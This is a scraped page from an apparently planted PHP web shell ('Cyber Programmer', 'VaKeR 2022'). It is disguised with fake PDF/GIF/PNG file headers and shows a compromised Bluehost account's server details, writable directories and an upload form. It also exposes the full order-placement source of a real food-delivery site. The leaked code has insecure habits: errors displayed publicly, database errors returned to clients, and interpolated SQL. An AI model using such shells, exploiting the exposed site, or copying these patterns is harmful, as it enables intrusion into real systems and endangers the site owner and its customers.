%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/place_order.php
<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

header("Content-Type: application/json");

include("../dbcon.php");
include("auth.php");

define('BASE_URL', 'https://meatandgo.fr/');

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

/*
|--------------------------------------------------------------------------
| Support Form Data + Raw JSON
|--------------------------------------------------------------------------
*/

$json = json_decode(file_get_contents("php://input"), true);

$address_id = intval(
    $_REQUEST['address_id']
    ?? $json['address_id']
    ?? 0
);

$payment_method = trim(
    $_REQUEST['payment_method']
    ?? $json['payment_method']
    ?? ''
);

$delivery_instruction = trim(
    $_REQUEST['delivery_instruction']
    ?? $json['delivery_instruction']
    ?? ''
);

/*
|--------------------------------------------------------------------------
| Validation
|--------------------------------------------------------------------------
*/

if ($address_id <= 0 || empty($payment_method))
{
    response(false, "Required fields missing", [

        "required_fields" => [
            "address_id",
            "payment_method"
        ],

        "payment_method_values" => [
            "online",
            "cod"
        ]
    ]);
}

/*
|--------------------------------------------------------------------------
| Payment Type Mapping
|--------------------------------------------------------------------------
*/

$db_payment_type =
    strtolower($payment_method) == "online"
    ? "Online"
    : "COD";

/*
|--------------------------------------------------------------------------
| Address Check
|--------------------------------------------------------------------------
*/

$addressQry = mysqli_query(
    $conn,
    "SELECT *
     FROM user_address
     WHERE id='$address_id'
     AND user_id='$user_id'
     LIMIT 1"
);

if(mysqli_num_rows($addressQry) == 0)
{
    response(false, "Address Not Found");
}

$address = mysqli_fetch_assoc($addressQry);

/*
|--------------------------------------------------------------------------
| User Details
|--------------------------------------------------------------------------
*/

$userQry = mysqli_query(
    $conn,
    "SELECT *
     FROM user
     WHERE id='$user_id'
     LIMIT 1"
);

if(mysqli_num_rows($userQry) == 0)
{
    response(false, "User Not Found");
}

$user = mysqli_fetch_assoc($userQry);

/*
|--------------------------------------------------------------------------
| Cart Items
|--------------------------------------------------------------------------
*/

$cartQry = mysqli_query(
    $conn,
    "SELECT
        c.*,
        p.title,
        p.price
     FROM cart_items c
     INNER JOIN areawecover p
        ON c.product_id = p.id
     WHERE c.user_id='$user_id'"
);

if(mysqli_num_rows($cartQry) == 0)
{
    response(false, "Cart Is Empty");
}

$cartItems = [];
$subtotal = 0;

while($item = mysqli_fetch_assoc($cartQry))
{
    $subtotal +=
        $item['price'] *
        $item['quantity'];

    $cartItems[] = $item;
}

/*
|--------------------------------------------------------------------------
| Charges
|--------------------------------------------------------------------------
*/

$delivery_fee = 5;
$service_fee  = 2;

$grand_total =
    $subtotal +
    $delivery_fee +
    $service_fee;

/*
|--------------------------------------------------------------------------
| Generate Order Number
|--------------------------------------------------------------------------
*/

$unique_order_id =
    "MEATANDGO" .
    str_pad(
        rand(1,999999),
        7,
        "0",
        STR_PAD_LEFT
    );

/*
|--------------------------------------------------------------------------
| Create Order
|--------------------------------------------------------------------------
*/

$orderInsert = mysqli_query(
    $conn,
    "INSERT INTO orders
    (
        unique_order_id,
        user_id,
        full_name,
        email,
        phone,
        address,
        total_amount,
        payment_type,
        order_status
    )
    VALUES
    (
        '$unique_order_id',
        '$user_id',
        '".mysqli_real_escape_string($conn,$address['full_name'])."',
        '".mysqli_real_escape_string($conn,$user['email'])."',
        '".mysqli_real_escape_string($conn,$user['phone'])."',
        '".mysqli_real_escape_string($conn,$address['address'])."',
        '$grand_total',
        '$db_payment_type',
        'Pending'
    )"
);

if(!$orderInsert)
{
    response(false, "Order Insert Failed", [

        "mysql_error" => mysqli_error($conn)
    ]);
}

$order_id = mysqli_insert_id($conn);

/*
|--------------------------------------------------------------------------
| Update order_id column
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "UPDATE orders
     SET order_id='$order_id'
     WHERE id='$order_id'"
);

/*
|--------------------------------------------------------------------------
| Insert Order Items
|--------------------------------------------------------------------------
*/

foreach($cartItems as $item)
{
    mysqli_query(
        $conn,
        "INSERT INTO order_items
        (
            order_id,
            product_id,
            quantity,
            price
        )
        VALUES
        (
            '$order_id',
            '".$item['product_id']."',
            '".$item['quantity']."',
            '".$item['price']."'
        )"
    );
}

/*
|--------------------------------------------------------------------------
| Online Payment
|--------------------------------------------------------------------------
*/

if(strtolower($payment_method) == "online")
{
    $payment_url =
        BASE_URL .
        "sumupapi.php?order_id=" .
        $order_id;

    response(true, "Order Created Successfully", [

        "order_id" => $order_id,

        "order_number" => $unique_order_id,

        "payment_method" => "Online",

        "order_status" => "Pending",

        "total_amount" => $grand_total,

        "payment_url" => $payment_url,

        "redirect_type" => "webview"
    ]);
}

/*
|--------------------------------------------------------------------------
| COD Order
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "DELETE FROM cart_items
     WHERE user_id='$user_id'"
);

response(true, "Order Placed Successfully", [

    "order_id" => $order_id,

    "order_number" => $unique_order_id,

    "payment_method" => "COD",

    "order_status" => "Pending",

    "total_amount" => $grand_total
]);

$conn->close();

?>

VaKeR 2022